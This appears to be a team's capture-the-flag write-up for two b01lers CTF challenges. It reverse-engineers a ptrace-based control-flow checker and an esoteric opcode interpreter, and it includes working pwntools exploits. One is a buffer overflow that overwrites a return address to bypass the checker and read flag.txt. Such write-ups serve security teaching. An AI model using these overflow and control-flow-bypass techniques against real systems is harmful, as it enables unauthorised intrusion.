Date: March 20, 2023 rank: 19 team: ST4RT
cfifuuufuuuuu ( 398 pt, 13 solve )
there are two files loader.pyc, a binary
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
while 1:
# res = ptrace(PTRACE_GETREGS, pid, 0, ctypes.addressof(regs))
pid, status = os.waitpid(-1, 0)
ssy = pnx(status)
print(ssy)
res = ptrace(PTRACE_GETREGS, pid, 0, ctypes.addressof(regs))
print(hex(regs.rip))
if ssy[1] == 'WIFEXITED':
break
if ssy[2] == 'SIGSEGV':
break
if ssy[2] == 'SIGTRAP':
> ['0x57f', 'WIFSTOPPED', "'SIGTRAP'", '0']
if I execute python code from uncompyle6, it doesn’t work due to the quote. Enclose comparing string with double quotes
1
2
int 3
adc [rax+XX]
In binary, there are some opcodes that cause SEGFAULT next to int 3. int 3 → SIGTRAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if ssy[2] == 'SIGTRAP':
res = ptrace(PTRACE_GETREGS, pid, 0, ctypes.addressof(regs))
one_byte = mem_read(pid, regs.rip, 1)[0]
if one_byte == 72:
regs.rax = regs.rdi
regs.rdi = regs.rsi
ptrace(PTRACE_SETREGS, pid, 0, ctypes.addressof(regs))
else:
if one_byte == 17 or one_byte == 33 or one_byte == 49:
offd = {17:0, 33:40, 49:72}
vv = mem_read(pid, regs.rsp + offd[one_byte], 8)
vv = struct.unpack('<Q', vv)[0]
saved_addr.add(vv)
regs.rip += 1
ptrace(PTRACE_SETREGS, pid, 0, ctypes.addressof(regs))
else:
if one_byte == 18 or one_byte == 34 or one_byte == 50:
offd = {18:0, 34:40, 50:72}
vv = mem_read(pid, regs.rsp + offd[one_byte], 8)
vv = struct.unpack('<Q', vv)[0]
if vv not in saved_addr:
print('\\n\\n!!!Stack Violation Detected!!!\\n\\n')
regs.rip = 0
ptrace(PTRACE_SETREGS, pid, 0, ctypes.addressof(regs))
break
saved_addr.remove(vv)
regs.rip += 1
ptrace(PTRACE_SETREGS, pid, 0, ctypes.addressof(regs))
res = ptrace(PTRACE_CONT, pid, 0, 0)
In the loader, it handles SIGTRAP
. it branches according to the 1byte next to int 3
opcode
1
2
3
0x48 -> rax = rdi, rdi = rsi
0x11,0x21,0x31 -> saved_addr.add([rsp+XX]), rip+=1
0x12,0x22,0x32 -> saved_addr.remove([rsp+XX]), if not exist, exit. rip+=1,
control flow check
binary routine
1
2
3
4
5
6
7
8
9
10
read(0,0x601004,0x10)
open("/dev/urandom") -> /dev/urandom string -> 0x601084
[0x601000]+=1
read(fd,0x601000+[0x601000]<<4+4],0x10) -> 0x601014
write(1,random values,0x10)
write xored data with random values
: 0x400486
read(0,[rsp+0x20],0x10)
read(0,[rsp+0x10],...) -> input until 0xA
write xored data [rsp+0x20], [rsp+0x10]
in function 0x400486
, BOF occurs. there is int 3 + 0x32 at the end of the function. loader check if [rsp+0x48]
in saved_addr.
There are two addresses at this time. original return 0x400546
and 0x4005e2
.
In 0x4005e2
, it executes that routing again if eax ≠ 0. the return value of write always 1.
repeating that routine, you can raise the address until 0x601084
( /dev/urandom ) by increasing the input index (0x601000
)
modifying this filename to flag.txt, it reads flag as random values and prints.
1
2
3
4
5
6
7
8
9
10
from pwn import *
# r = process(["/usr/bin/python3","/root/loader.py"])
r = remote("ctf.b01lers.com", 5215)
for i in range(9):
print(i)
r.sendafter('?:\n',b'flag.txt'.ljust(16,b'\x00'))
r.sendafter(':\n',b'\x00'*16)
r.sendline(b'\x00'*0x38+p64(0x4005e2))
r.interactive()
by repeating 8 times, the string address 0x601084 (/dev/urandom) can be overwritten, in the 9th routine, it prints flag as random values
baby noah ( 334 pt, 25 solve )
binary routine
- input map ( max : 8 * 24 )
- execute opcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
opcode = map[row * m_col + col]
col + flag1 (default 0)
row += flag2 (default 0)
miles += op+1
# / dup / stack[idx] = stack[idx-1], idx ++
! / test / stack[idx-1] = stack[idx-1] == 0
* / mul / stack[idx-2] *= stack[idx-1], idx-=1
+ / add / stack[idx-2] += stack[idx-1], idx-=1
- / sub / stack[idx-2] -= stack[idx-1], idx-=1,
/ / div / stack[idx-2] /= stack[idx-1], idx-=1
% / mod / stack[idx-2] %= stack[idx-1], idx-=1
& / and / ...
, / swap / stack[idx-2] = stack[idx-1]; stack[idx-1] = stack[idx-2]
~ / pop / idx-=1
. / putc / putc(stack[idx-1])
: / printf / printf("%d",stack[idx-1])
< / left / flag1 = -1
> / right / flag1 = 1
@ / return 1
^ / up / flag2 = -1
v / down / flag2 = 1
_ / left_right / flag1 = stack[idx-1]==0 ? 1 : -1;
| / up_down / flag2 = stack[idx-1] == 0 ? 1 : -1;
g / load / stack[idx-2] = map[m_col * stack[idx-1] + stack[idx-2]]; idx-=1
p / store / map[m_col * stack[idx-2] + stack[idx-3]] = stack[idx-1]; idx-=3
default / stack[idx] = 0; idx++
in every execute, add opcode+1 to miles.
using that opcodes, make miles
0x31337 to print flag. input size is 8 * 24, so i need to construct a loop.
first, push counter to stack
stack : [ 0x00, X ], idx = 2
right
to set flag1 = 1default
(counter → map[0][1])default
(dummy to idx++)default
(dummy, in load row = 0)test
to set stack[idx-1] = 1load
X
payload : >XX!Xg
second, using two rows, construct a loop
right
to start loopdefault
to idx++test
to set stack[2] = 1sub
stack[1]default & pop
( dummy op to increase miles )down
left_right
to check counter (stack[1]) == 0 if counter==0, goto right to exit else, goto left to execute remain loop count
>X!-X~v ^««<_@
Adjust the value X to make the miles to 0x31337.
1
2
3
4
5
6
7
8
9
10
11
from pwn import *
#r=process(["./babynoah","20","flag.txt"])
r=remote("babynoah.bctf23-codelab.kctf.cloud", 1337)
payload = b">\xe4\xe4!\xffg>\xfe!-\x00~v\n"
payload +=b"\xff\xff\xff\xff\xff\xff^<<<<<<_@"
r.sendline(payload)
pause()
r.sendline()
r.interactive()
by default, X to 0xff and adjusted the rest appropriately